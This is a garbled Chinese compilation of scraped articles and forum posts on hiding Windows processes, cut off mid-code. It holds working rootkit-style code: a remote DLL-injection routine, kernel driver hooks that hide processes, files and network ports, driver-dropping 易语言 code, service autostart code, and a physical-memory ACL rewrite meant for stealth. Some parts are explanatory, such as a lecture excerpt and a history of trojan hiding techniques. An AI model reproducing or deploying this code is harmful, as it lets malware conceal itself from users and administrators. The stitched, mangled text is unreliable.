易语言驱动隐藏进程
隐藏进程_精品文档
隐藏进程什么是隐藏进程？在操作系统中，进程是指正在运行的程序的执行实例。
正常情况下，操作系统会为每个正在运行的程序创建一个进程，并分配资源给它。
这些进程会被显示在任务管理器或进程管理器中，以便用户可以监控和管理它们。
然而，有时候会有一些恶意软件或黑客攻击会隐藏自己的进程，以逃避用户或系统管理员的监控和控制。
隐藏的进程可以执行各种恶意行为，如损坏文件、窃取敏感信息、攻击网络等。
隐藏进程常常被用于恶意软件中，如计算机病毒、木马和恶意软件。
它们通过各种技术手段来隐藏自己的存在，使自己难以被检测和清除。
隐藏进程的常见技术RootkitRootkit 是一种恶意软件，它通过操纵操作系统的功能来隐藏自己。
Rootkit 可以修改操作系统的核心组件，如内核模块、驱动程序等，以便隐藏进程和其他恶意活动。
Rootkit 通常会修改系统函数调用，使它们返回虚假的结果，以掩盖自己的存在。
它还可以修改进程列表、进程状态和文件系统，来隐藏进程和文件。
HookingHooking 是一种技术，通过修改函数调用表或中断向量表来劫持系统的正常行为。
恶意软件可以使用 Hooking 技术来修改操作系统的函数调用，从而隐藏自己的进程。
通常，Hooking 会劫持一些与进程管理相关的函数，如寻找和遍历进程列表的函数。
当用户或系统管理员尝试查看进程列表时，这些被劫持的函数会返回虚假的结果，隐藏恶意进程的存在。
用户模式隐藏用户模式隐藏是一种技术，恶意软件使用它来隐藏自己的进程。
在用户模式下，操作系统提供了一组 API，用于管理进程和线程。
恶意软件可以使用这些 API 来隐藏自己的进程。
恶意软件可以通过修改自身进程的属性和访问权限来隐藏自己。
例如，它可以将自己的进程标记为“隐藏”或修改进程列表，使自己不可见。
驱动程序隐藏驱动程序是操作系统中的一种特殊类型的软件，它们用于控制硬件设备和提供操作系统功能。
恶意软件可以使用驱动程序来隐藏自己的进程。
如何隐藏进程
在WINDOWS操作系统下，当我们无法结束或者不知道怎样结束一个程序的时候，或者是懒得去找“退出”按钮的时候，通常会按“CTRL+ALT+DEL”呼出任务管理器，找到想结束的程序，点一下“结束任务”就了事了，呵呵，虽然有点粗鲁，但大多数情况下都很有效，不是吗？设想一下，如果有这么一种软件，它所要做的工作就是对某个使用者在某台电脑上的活动作一定的限制，而又不能被使用者通过“结束任务”这种方式轻易地解除限制，那该怎么做？无非有这么三种方法：1.屏蔽“CTRL+ALT+DEL”这个热键的组合；2.让程序不出现在任务管理器的列表之中；3.让任务管理器无法杀掉这个任务。
对于第一种方法，这样未免也太残酷了，用惯了“结束任务”这种方法的人会很不习惯的；对于第二种方法，在WINDOWS 9X下可以很轻易地使用注册服务进程的方法实现，但是对于WINDOWS NT 架构的操作系统没有这个方法了，进程很难藏身，虽然仍然可以实现隐藏，但实现机制较为复杂；对于第三种方法，实现起来比较简单，我的作品：IPGate 网址过滤器就是采用的这种方式防杀的，接下来我就来介绍这种方法。
任务管理器的“结束任务”实际上就是强制终止进程，它所使用的杀手锏是一个叫做TerminateProcess()的Win32 API函数，我们来看看它的定义：BOOL TerminateProcess(HANDLE hProcess, // 将被结束进程的句柄UINT uExitCode // 指定进程的退出码);看到这里，是不是觉得不必往下看都知道接下来要做什么：Hook TerminateProcess()函数，每次TerminatePro cess()被调用的时候先判断企图结束的进程是否是我的进程，如果是的话就简单地返回一个错误码就可以了。
真的是这么简单吗？先提出一个问题，如何根据hProcess判断它是否是我的进程的句柄？答案是：在我的进程当中先获得我的进程的句柄，然后通过进程间通讯机制传递给钩子函数，与hProcess进行比较不就行了？错！因为句柄是一个进程相关的值，不同进程中得到的我的进程的句柄的值在进程间进行比较是无意义的。
在Delphi中隐藏程序进程的方法
在Delphi中隐藏程序进程方法[1]主要需要解决两个问题，即隐藏窗口和设定热键。
一. 隐藏窗口通过API函数GETACTIVEWINDOW获取当前窗口；函数ShowWindow(HWND,nCmdShow)的参数nCmdShow取SW_HIDE时将之隐藏，取SW_SHOW时将之显示。
例如：showwindow(getactivewindow,sw_hide)。
隐藏好窗体后，须记住窗体句柄以便恢复。
二. 键盘监控为了实现键盘监控须用到钩子。
以下是程序的源文件：一、创建一个动态链接库unit HKHide; //链接库中的Unit文件interfaceusesWindows, Messages, sysutils;varhNextHookHide: HHook;HideSaveExit: Pointer;hbefore:longint;function KeyboardHookHandler(iCode: Integer;wParam: WPARAM;lParam: LPARAM): LRESULT; stdcall; export;function EnableHideHook: BOOL; export;function DisableHideHook: BOOL; export;procedure HideHookExit; far;implementationfunction KeyboardHookHandler(iCode: Integer;wParam: WPARAM;lParam: LPARAM): LRESULT; stdcall; export;const _KeyPressMask = $80000000;varf:textfile;temp:string;beginResult := 0;If iCode < 0 ThenbeginResult := CallNextHookEx(hNextHookHide, iCode, wParam, lParam); Exit;end;//侦测 Ctrl + Alt + F12 组合键if ((lParam and _KeyPressMask) = 0) //按下时生效and (GetKeyState(vk_Control) < 0)and (getkeystate(vk_menu)<0)and (wParam = vk_F12) thenbeginResult := 1;//文件不存在则创建if not fileexists('c:\test.txt') thenbeginassignfile(f,'c:\test.txt');rewrite(f);writeln(f,0);closefile(f);endelsebeginassignfile(f,'c:\test.txt');reset(f);readln(f,temp);hbefore:=strtoint(temp);beginhbefore:=getactivewindow;temp:=inttostr(hbefore);rewrite(f);writeln(f,temp);closefile(f);ShowWindow(hbefore, SW_HIDE);end;end; //end if FileExists(....)endelse beginshowwindow(hbefore,SW_SHOW);rewrite(f);writeln(f,0);closefile(f);end;//end if Ctrl+Alt+F12按键end;function EnableHideHook: BOOL; export;beginResult := False;if hNextHookHide <> 0 then Exit;// 挂上 WH_KEYBOARD 这型的 HOOK, 同时, 传回值必须保留下 // 来, 免得 HOOK 呼叫链结断掉hNextHookHide := SetWindowsHookEx(WH_KEYBOARD,KeyboardHookHandler,HInstance,0);Result := hNextHookHide <> 0;end;function DisableHideHook: BOOL; export;beginif hNextHookHide <> 0 thenbeginResult:=True;UnhookWindowshookEx(hNextHookHide); // 解除 Keyboard Hook hNextHookHide:=0;endelseResult:=False;end;procedure HideHookExit;begin// 如果忘了解除 HOOK, 自动代理解除的动作if hNextHookHide <> 0 then DisableHideHook;ExitProc := HideSaveExit;end;end.library HKPHide; //动态链接库工程文件usesHKHide in HKHide.pas;exportsEnableHideHook,DisableHideHook;beginhNextHookHide := 0;hbefore:=0;HideSaveExit := ExitProc;ExitProc := @HideHookExit;end.//文件制作好后先Build All编译成HKPHide.dll。
隐藏进程和程序
隐藏进程和程序的实例
主讲人：裴士辉 e_mail: shihui_pei @
计算机科学与技术学院 计算机科学与技术学院
信息安全技术
内容
内核信息的查询的一个实例 隐藏进程和程序
计算机科学与技个实例
计算机科学与技术学院 计算机科学与技术学院
case IOCTL_GET_INT_TABLE: //get complete interrupt descriptor table { dwIdt = GetIntTable(); outBuf += 4; for(i = 0;i < 255;i++) //copy each entry into the output buffer ((DWORD *)outBuf)[i] = GetIntAddress(dwIdt, i); Irp->rmation = outBufLength; ntStatus = STATUS_SUCCESS; break; } //base address from the idt ((DWORD *)outBuf)[0] = 255; //hardcoded 255 interrupt entries
/Retrieve specific entry in the idt table DWORD GetIntAddress(DWORD dwIdt, int iInt) { DWORD dwRet; __asm { mov eax,iInt mov edx,dwIdt lea edx,[edx+eax*8] mov bx,[edx+6] shl ebx,10h mov bx,[edx] mov dwRet, ebx } return dwRet; }
进程隐藏的若干方法
一、最为古老的DLL注入方法。
虽说古老，但也经历了不少变动，最初的win9X的系统没有Psapi，没有进程快照，所以一般是三级跳。
跳啊跳……NT下可以直接用OpenProcess打开进程（打不开的话，提权到Debug 权限），利用LoadLibrary，并且申请远程地址空间，然后把DLL注入到目标EXE进程当中，可谓省时省力，这也是目前应用作为普遍的方法之一。
典型代码：Delphi(Pascal) codefunction AttachToProcess(const HostFile, GuestFile: string; const PID: DWORD = 0): DWORD;varhRemoteProcess: THandle;dwRemoteProcessId: DWORD;cb: DWORD;pszLibFileRemote: Pointer;iReturnCode: Boolean;TempVar: DWORD;pfnStartAddr: TFNThreadStartRoutine;pszLibAFilename: PwideChar;beginResult := 0;EnabledDebugPrivilege(True);Getmem(pszLibAFilename, Length(GuestFile) * 2 + 1);StringToWideChar(GuestFile, pszLibAFilename, Length(GuestFile) * 2 + 1);if PID > 0 thendwRemoteProcessID := PIDelseFindAProcess(HostFile, False, dwRemoteProcessID);hRemoteProcess := OpenProcess(PROCESS_CREATE_THREAD + {允许远程创建线程}PROCESS_VM_OPERATION + {允许远程VM操作}PROCESS_VM_WRITE, {允许远程VM写}FALSE, dwRemoteProcessId);cb := (1 + lstrlenW(pszLibAFilename)) * sizeof(WCHAR);pszLibFileRemote := PWIDESTRING(VirtualAllocEx(hRemoteProcess, nil, cb, MEM_COMMIT, PAGE_READWRITE));TempVar := 0;iReturnCode := WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, cb, TempVar);if iReturnCode thenbeginpfnStartAddr := GetProcAddress(GetModuleHandle('Kernel32'), 'LoadLibraryW'); TempVar := 0;Result := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, TempVar);end;Freemem(pszLibAFilename);end;二、EXE注入。
隐藏任意进程
隐藏任意进程，目录/文件，注册表，端口Author : sinisterEmail : sinister@HomePage: 查找进程，目录/文件，注册表等操作系统将最终调用ZwQueryDirectoryFile，ZwQuerySystemInformation，ZwXXXValueKey 等函数。
要想拦截这些函数达到隐藏目的，需先自己实现以上函数，并修改系统维护的一个SYSCALL 表使之指向自己预先定义的函数。
因SYSCALL 表在用户层不可见，所以要写DRIVE 在RING 0 下才可修改。
关于如何修改已有文章详细介绍过，这里不在详述。
（可以参见 或WebCrazy 所写的文章）。
查找端口用的是TDI 查询。
TDI 导出了两个设备\\Device\\Tcp 与\\Device\\Udp。
我们可以利用设备过滤驱动的方法写一个DRIVE 把这两个设备的所有IRP 包接管过来进行处理后再传给下层驱动。
以达到隐藏任意端口的目的。
上述提到的方法不是新东西，是在N年前就已经有的老技术。
俺现在将它贴出来只不过为了充实下版面，灌灌水罢了。
高手们还是别看了。
下面是我DRIVE 中隐藏任意进程，目录/文件，端口代码片段。
（注册表操作在RegMon 中写的很详细，这里就不列出了）typedef struct _FILETIME{DWORD dwLowDateTime;DWORD dwHighDateTime;} FILETIME;typedef struct _DirEntry{DWORD dwLenToNext;DWORD dwAttr;FILETIME ftCreate, ftLastAccess, ftLastWrite;DWORD dwUnknown[ 2 ];DWORD dwFileSizeLow;DWORD dwFileSizeHigh;DWORD dwUnknown2[ 3 ];WORD wNameLen;WORD wUnknown;DWORD dwUnknown3;WORD wShortNameLen;WCHAR swShortName[ 12 ];WCHAR suName[ 1 ];} DirEntry, *PDirEntry;struct _SYSTEM_THREADS{LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime;PVOID StartAddress;CLIENT_ID ClientIs; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; ULONG ThreadState;KWAIT_REASON WaitReason;};struct _SYSTEM_PROCESSES{ULONG NextEntryDelta; ULONG ThreadCount;ULONG Reserved[6];LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId;ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2];VM_COUNTERS VmCounters;IO_COUNTERS IoCounters;struct _SYSTEM_THREADS Threads[1]; };// 隐藏目录/文件NTSTATUS HookZwQueryDirectoryFile(IN HANDLE hFile,IN HANDLE hEvent OPTIONAL,IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,IN PVOID IoApcContext OPTIONAL,OUT PIO_STATUS_BLOCK pIoStatusBlock,OUT PVOID FileInformationBuffer,IN ULONG FileInformationBufferLength,IN FILE_INFORMATION_CLASS FileInfoClass,IN BOOLEAN bReturnOnlyOneEntry,IN PUNICODE_STRING PathMask OPTIONAL,IN BOOLEAN bRestartQuery){NTSTA TUS rc;CHAR aProcessName[80];ANSI_STRING ansiFileName,ansiDirName;UNICODE_STRING uniFileName;PP_DIR ptr;WCHAR ParentDirectory[1024] = {0};int BytesReturned;PVOID Object;// 执行旧的ZwQueryDirectoryFile函数rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))( hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);if(NT_SUCCESS(rc)){PDirEntry p;PDirEntry pLast;BOOL bLastOne;int found;p = (PDirEntry)FileInformationBuffer; // 将查找出来结果赋给结构pLast = NULL;do{bLastOne = !( p->dwLenToNext );RtlInitUnicodeString(&uniFileName,p->suName);RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);RtlUpperString(&ansiFileName,&ansiDirName);found=0;// 在链表中查找是否包含当前目录for(ptr = list_head; ptr != NULL; ptr = ptr->next){if (ptr->flag != PTR_HIDEDIR) continue;if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name)){found=1;break;}}//end for// 如果链表中包含当前目录，隐藏if(found){if(bLastOne){if(p == (PDirEntry)FileInformationBuffer ){rc = 0x80000006; //隐藏}elsepLast->dwLenToNext = 0;break;}else{int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );continue;}}pLast = p;p = (PDirEntry)((char *)p + p->dwLenToNext );}while( !bLastOne );RtlFreeAnsiString(&ansiDirName);RtlFreeAnsiString(&ansiFileName);}return(rc);}// 隐藏进程NTSTATUS HookZwQuerySystemInformation(IN ULONG SystemInformationClass,IN PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength){NTSTA TUS rc;ANSI_STRING process_name,process_uname,process_name1,process_name2;BOOL g_hide_proc = TRUE;CHAR aProcessName[80];PP_DIR ptr;int found;// 执行旧的ZwQuerySystemInformation函数rc = ((ZWQUERYSYSTEMINFORMA TION)(OldZwQuerySystemInformation)) (SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength );if(NT_SUCCESS(rc )){if( g_hide_proc && (5 == SystemInformationClass)){// 将查找出来结果赋给结构struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;struct _SYSTEM_PROCESSES *prev = NULL;// 遍历进程while(curr){if((0 < process_name.Length) && (255 > process_name.Length)){found=0;// 遍历链表for (ptr=list_head;ptr!=NULL;ptr=ptr->next ){if (ptr->flag != PTR_HIDEPROC) continue ;if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0){found =1;}}// 判断如果是隐藏进程名则覆盖掉此进程名while(found){if(prev){if(curr->NextEntryDelta){prev->NextEntryDelta += curr->NextEntryDelta;}else{prev->NextEntryDelta = 0;}}else{if(curr->NextEntryDelta){(char *)SystemInformation += curr->NextEntryDelta;}else{SystemInformation = NULL;}}if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);else{curr = NULL;break;}// 遍历链表found = 0;for (ptr=list_head;ptr!=NULL;ptr=ptr->next ){if (ptr->flag != PTR_HIDEPROC) continue ;if(memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0){found = 1;}}}}if(curr != NULL){prev = curr;if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);else curr = NULL;}}}}return(rc);}//隐藏端口PDEVICE_OBJECT m_TcpgetDevice;PDEVICE_OBJECT TcpDevice;UNICODE_STRING TcpDeviceName;PDRIVER_OBJECT TcpDriver;PDEVICE_OBJECT TcpgetDevice;PDEVICE_OBJECT FilterDevicePDRIVER_DISPA TCH Empty;NTSTA TUS status;Empty = DriverObject->MajorFunction[IRP_MJ_CREATE]; RtlInitUnicodeString( &TcpDeviceName, L"\\Device\\Tcp");//得到已有的设备指针status = IoGetDeviceObjectPointer( &TcpDeviceName,FILE_ALL_ACCESS,&FileObject,&TcpDevice);if(!NT_SUCCESS(status)){DbgPrint("IoGetDeviceObjectPointer error!\n");return status;}DbgPrint("IoGetDeviceObjectPointer ok!\n");// 建立设备status = IoCreateDevice( DriverObject,sizeof(DEVICE_EXTENSION),NULL,FILE_DEVICE_UNKNOWN,0,FALSE,&FilterDevice);if(!NT_SUCCESS(status)){return status;}// 加入设备TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);if(!TcpgetDevice){IoDeleteDevice(FilterDevice);DbgPrint("IoAttachDeviceToDeviceStack error!\n");return STATUS_SUCCESS;}m_TcpgetDevice = TcpgetDevice;// 加到过滤函数中处理for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++){if((TcpDriver->MajorFunction!=Empty)&&(DriverObject->MajorFunction==Empty)){DriverObject->MajorFunction = PassThrough;}}ObDereferenceObject(FileObject);NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ){NTSTATUS status;PIO_STACK_LOCA TION pIrpStack;pIrpStack = IoGetCurrentIrpStackLocation( Irp );//如是查询则完成IRPif ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX){//这里可以近一步判断某个端口Irp->IoStatus.Status=STA TUS_SUCCESS;IoCompleteRequest(Irp,IO_NO_INCREMENT);return STATUS_SUCCESS;}//复制当前IRPIoCopyCurrentIrpStackLocationToNext(Irp);IoSetCompletionRoutine( Irp,GenericCompletion,NULL,TRUE,TRUE,TRUE);//传递return IoCallDriver( m_TcpgetDevice, Irp);}关于我们：WSS(Whitecell Security Systems)，一个非营利性民间技术组织，致力于各种系统安全技术的研究。
易语言与驱动通信保护进程
易语言与驱动通信保护进程/隐藏进程首先,我得声明,驱动代码是我自己写的,可惜代码现在并不在身上了否则一并开源,等有机会一定开源,嘿嘿.VC写的易语言代码基本是自己写的,通信那里,可能有部分借鉴论坛部分高人的代码,请勿见怪.至于为什么要用DBKDRVR54 这个驱动呢,因为这个初衷是写给某个朋友用在ANTI上的,所以这样无形中就占了CE的坑.至于驱动占坑原理,大家可以百度一下.我就不再赘述- -其实当初玩驱动也是在看雪很巧合的机会,才会研究了下- -后来没什么常性放弃了.今天就一并把代码开源出去,包括缓冲通信,还有驱动易语言对应驱动接口的通信(不知道该杂表达)其实等我到时候有机会把代码找到就可以看到IRP分配了,这个是后话.等有机会吧.这个主要演示了在应用层驱动与应用层的通信. 还有IOCTL从C到易语言的转换.这个当初记得研究了好久- -这么干净的开源貌似很少有吧- -嘿嘿,不过也是老东西了,应该有一点点它的价值的- -当初不公开的原因是怕某些图谋不轨的人,不过现在驱动成了家常菜,也没什么了这个驱动写的比较早,所以只支持2000-XP系统.请勿在其他系统上尝试,蓝屏不关我的事.这个驱动还是蛮稳定的,当初用windbg调试了BSOD好几百次.可能当初驱动玩的不是很顺溜,但是拦截的蛮全的,隐藏进程以后,貌似还把几个窗口的HOOK掉了,很老代码记不太清楚了- -应该是蛮全的,不过方法蛮老的附上当初我在UPK发的两篇文章- -仅供娱乐= =/viewthread.php?tid=38217&extra=&page=1 /viewthread.php?tid=40828&extra=&page=1易语言驱动全通信.e (34 K) 下载次数:890。
易语言保护进程
易语言保护进程下面是代码模块及驱动请在附件下载//函数.版本 2.DLL命令GetWindowsDirectory, 整数型, "kernel32.dll", "GetWindowsDirectoryA".参数缓冲区, 文本型.参数缓冲区大小, 整数型.DLL命令 OpenProcess, 整数型, , "OpenProcess".参数 dwDesiredAccess, 整数型.参数 bInheritHandle, 逻辑型.参数 dwProcessId, 整数型.DLL命令GetCurrentProcessId, 整数型, "kernel32.dll", "GetCurrentProcessId", 公开, 公开//驱动进程开.版本 2cszDriverName ＝“Carrol”cszDriverFullPath ＝取系统目录 () ＋“\system32\drivers\” ＋ cszDriverName ＋“.sys”'随机驱动名(SYSTEM32目录) 输出调试文本 (cszDriverFullPath).如果真 (取反 (文件是否存在 (cszDriverFullPath)))写到文件 (cszDriverFullPath, #sys) '写驱动.如果真结束.如果 (InstallDriver (cszDriverName, cszDriverFullPath)).如果 (StartDriver (cszDriverName, cszDriverFullPath)).否则.如果结束.否则.如果结束删除文件 (cszDriverFullPath)OpenProcess (2035711, 假, -3)//关闭驱动进程.版本 2.如果真 (StopDriver (cszDriverName, cszDriverFullPath)).如果真 (RemoveDriver (cszDriverName, cszDriverFullPath)) 返回 ().如果真结束可将其代码放置窗口销毁时//全局变量.全局变量 cszDriverName, 文本型.全局变量 cszDriverFullPath, 文本型。
进程隐藏的方法
进程隐藏的方法最基本的隐藏：不可见窗体＋隐藏文件木马程序无论如何神秘，但归根究底，仍是Win32平台下的一种程序。
Windows下常见的程序有两种：1.Win32应用程序(Win32 Application)，比如QQ、Office等都属于此行列。
2.Win32控制台程序(Win32 Console)，比如硬盘引导修复程序FixMBR。
其中，Win32应用程序通常会有应用程序界面，比如系统中自带的"计算器"就有提供各种数字按钮的应用程序界面。
木马虽然属于Win32应用程序，但其一般不包含窗体或隐藏了窗体(但也有某些特殊情况，如木马使用者与被害者聊天的窗口)，并且将木马文件属性设置为"隐藏"，这就是最基本的隐藏手段，稍有经验的用户只需打开"任务管理器"，并且将"文件夹选项"中的"显示所有文件"勾选即可轻松找出木马，于是便出现了下面要介绍的"进程隐藏"技术。
第一代进程隐藏技术：Windows 98的后门在Windows 98中，微软提供了一种能将进程注册为服务进程的方法。
尽管微软没有公开提供这种方法的技术实现细节(因为Windows的后续版本中没有提供这个机制)，但仍有高手发现了这个秘密，这种技术称为RegisterServiceProcess。
只要利用此方法，任何程序的进程都能将自己注册为服务进程，而服务进程在Windows 98中的任务管理器中恰巧又是不显示的，所以便被木马程序钻了空子。
要对付这种隐藏的木马还算简单，只需使用其他第三方进程管理工具即可找到其所在，并且采用此技术进行隐藏的木马在Windows 2000/XP(因为不支持这种隐藏方法)中就得现形！中止该进程后将木马文件删除即可。
可是接下来的第二代进程隐藏技术，就没有这么简单对付了。
第二代进程隐藏技术：进程插入在Windows中，每个进程都有自己的私有内存地址空间，当使用指针(一种访问内存的机制)访问内存时，一个进程无法访问另一个进程的内存地址空间，就好比在未经邻居同意的情况下，你无法进入邻居家吃饭一样。
易语言显示与隐藏窗口的方法
易语言显示与隐藏窗口的方法
被显示事件 语法： 无返回值 _窗口_被显示 （） 当窗口被显示时产生此事件。 被隐藏事件 当窗口被隐藏时产生此事件。 语法： 无返回值 _窗口_被隐藏 （） 所属对象：窗口 操作系统支持：Windows 例程
说明 当被显示事件的拥有者被显示时，此事件被触发。 当被隐藏事件的拥有者被隐藏时，此事件被触发。 运行结果：
总结 以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作具有一定的参考学习价值，谢谢大家对的支持。如果 你想了
开机启动和隐藏进程的基本原理
开机启动和隐藏进程的基本原理摘要开机启动和隐藏进程作为两种程序设计基本技术为病毒程序广泛使用,本文在开机启动和隐藏进程代码实现的基础上对实现所用到的相关技术原理进行介绍。
具体涉及到的相关技术包括服务的创建,进程快照的获取,以及进程的注入。
本文采用VC6.0为编译环境,通过代码和说明相结合的方式对三种技术进行阐述。
关键词: 服务进程快照进程注入1 用C语言编写windows服务实现开机启动开机启动的方法有很多种,包括写注册表,写入启动配置文件,复制到启动目录,写成驱动程序，注册服务等,笔者的程序采用windows服务实现开机启动。
服务的编写有多种方式,包括用C 语言编写,用atl模板编写，以及用托管C++进行编写。
为了更好地理解服务创建的基本原理,笔者采用了C语言编写服务。
下面具体阐述C语言编写服务的4个步骤。
1.1 主函数的创建主函数的创建很简单,具体代码如下:void main(){SERVICE_TABLE_ENTRY ServiceTable[2];ServiceTable[0].lpServiceName = "MemoryStatus";ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;ServiceTable[1].lpServiceName = NULL;ServiceTable[1].lpServiceProc = NULL;StartServiceCtrlDispatcher(ServiceTable);}由于每个程序可能包含多个服务,因此需要有一个服务列表保存程序所用到得服务信息,SERVICE_TABLE_ENTRY就是这样一个列表,每一个列表项包含了服务名称(lpServiceName)和服务入口函数(lpServiceProc)两个属性。
服务列表的最后一项的两个属性必须设置成NULL。
隐藏进程的代码
隐藏进程的代码1.Win2000 SP4 Pro下测试通过，基本功能都有了，稳定性也可以，细节处理的也不错，可以看出楼主是个很细心的人。
其它平台没有测试，可能还存在一些小的BUG，一般隐藏进程在驱动级hook ZwQuerySystemInformation，楼主用的那段隐藏进程的代码在网上引用的很广泛，是在ring3下修改内存实现的，貌似是上的代码,原作者究竟是谁也不知道了。
2.把下面的代码直接保存为一个头文件hide.h,然后在你自己的程序中包含这个头文件就ok了，只要调用一下HideProcess()就可以隐藏进程了,怕怕,泄露了楼主的机密，不知是否会被楼主砍：）我不是本区版主，所以无权加精，见谅3.注册表RUN自启动：这个小伙子很实在！^_^CODE:#include<windows.h>#include<Accctrl.h>#include<Aclapi.h>#define NT_SUCCESS(Status)((NTSTATUS)(Status) >= 0)#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L) BOOL HideProcess();/////////////////////////////////typedef LONG NTSTATUS;typedef struct _IO_STATUS_BLOCK{NTSTATUS Status;ULONG Information;} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;typedef struct _UNICODE_STRING{USHORT Length;USHORT MaximumLength;PWSTR Buffer;} UNICODE_STRING, *PUNICODE_STRING;#define OBJ_INHERIT 0x00000002L#define OBJ_PERMANENT 0x00000010L #define OBJ_EXCLUSIVE 0x00000020L#define OBJ_CASE_INSENSITIVE 0x00000040L #define OBJ_OPENIF 0x00000080L#define OBJ_OPENLINK 0x00000100L#define OBJ_KERNEL_HANDLE 0x00000200L #define OBJ_VALID_ATTRIBUTES 0x000003F2Ltypedef struct _OBJECT_ATTRIBUTES{ULONG Length;HANDLE RootDirectory;PUNICODE_STRING ObjectName;ULONG Attributes;PVOID SecurityDescriptor;PVOID SecurityQualityOfService;} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(OUT PHANDLE SectionHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes);typedef VOID (CALLBACK* RTLINITUNICODESTRING)(IN OUT PUNICODE_STRING DestinationString,IN PCWSTR SourceString);RTLINITUNICODESTRING RtlInitUnicodeString;ZWOPENSECTION ZwOpenSection;HMODULE g_hNtDLL = NULL;PVOID g_pMapPhysicalMemory = NULL;HANDLE g_hMPM = NULL;OSVERSIONINFO g_osvi;//---------------------------------------------------------------------------BOOL InitNTDLL(){g_hNtDLL = LoadLibrary("ntdll.dll");if (NULL == g_hNtDLL)return FALSE;RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL,"RtlInitUnicodeString");ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");return TRUE;}//---------------------------------------------------------------------------VOID CloseNTDLL(){if(NULL != g_hNtDLL)FreeLibrary(g_hNtDLL);g_hNtDLL = NULL;}//---------------------------------------------------------------------------VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection){PACL pDacl = NULL;PSECURITY_DESCRIPTOR pSD = NULL;PACL pNewDacl = NULL;DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL,NULL, &pDacl, NULL, &pSD);if(ERROR_SUCCESS != dwRes){if(pSD)LocalFree(pSD);if(pNewDacl)LocalFree(pNewDacl);}EXPLICIT_ACCESS ea;RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));ea.grfAccessPermissions = SECTION_MAP_WRITE;ea.grfAccessMode = GRANT_ACCESS;ea.grfInheritance= NO_INHERITANCE;ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;ea.Trustee.TrusteeType = TRUSTEE_IS_USER;ea.Trustee.ptstrName = "CURRENT_USER";dwRes = SetEntriesInAcl(1,&ea,pDacl,&pNewDacl);if(ERROR_SUCCESS != dwRes){if(pSD)LocalFree(pSD);if(pNewDacl)LocalFree(pNewDacl);}dwRes = SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATI ON,NULL,NULL,pNewDacl,NULL);if(ERROR_SUCCESS != dwRes){if(pSD)LocalFree(pSD);if(pNewDacl)LocalFree(pNewDacl);}}//---------------------------------------------------------------------------HANDLE OpenPhysicalMemory(){NTSTATUS status;UNICODE_STRING physmemString;OBJECT_ATTRIBUTES attributes;ULONG PhyDirectory;g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx (&g_osvi);if (5 != g_osvi.dwMajorVersion)return NULL;switch(g_osvi.dwMinorVersion){case 0:PhyDirectory = 0x30000;break; //2kcase 1:PhyDirectory = 0x39000;break; //xpdefault:return NULL;}RtlInitUnicodeString(&physmemString,L"\\Device\\PhysicalMemory");attributes.Length = sizeof(OBJECT_ATTRIBUTES);attributes.RootDirectory = NULL;attributes.ObjectName = &physmemString;attributes.Attributes = 0;attributes.SecurityDescriptor = NULL;attributes.SecurityQualityOfService = NULL;status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);if(status == STATUS_ACCESS_DENIED)status = ZwOpenSection(&g_hMPM, READ_CONTROL|WRITE_DAC, &attributes);SetPhyscialMemorySectionCanBeWrited(g_hMPM);CloseHandle(g_hMPM);status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);}if(!NT_SUCCESS(status))return NULL;g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 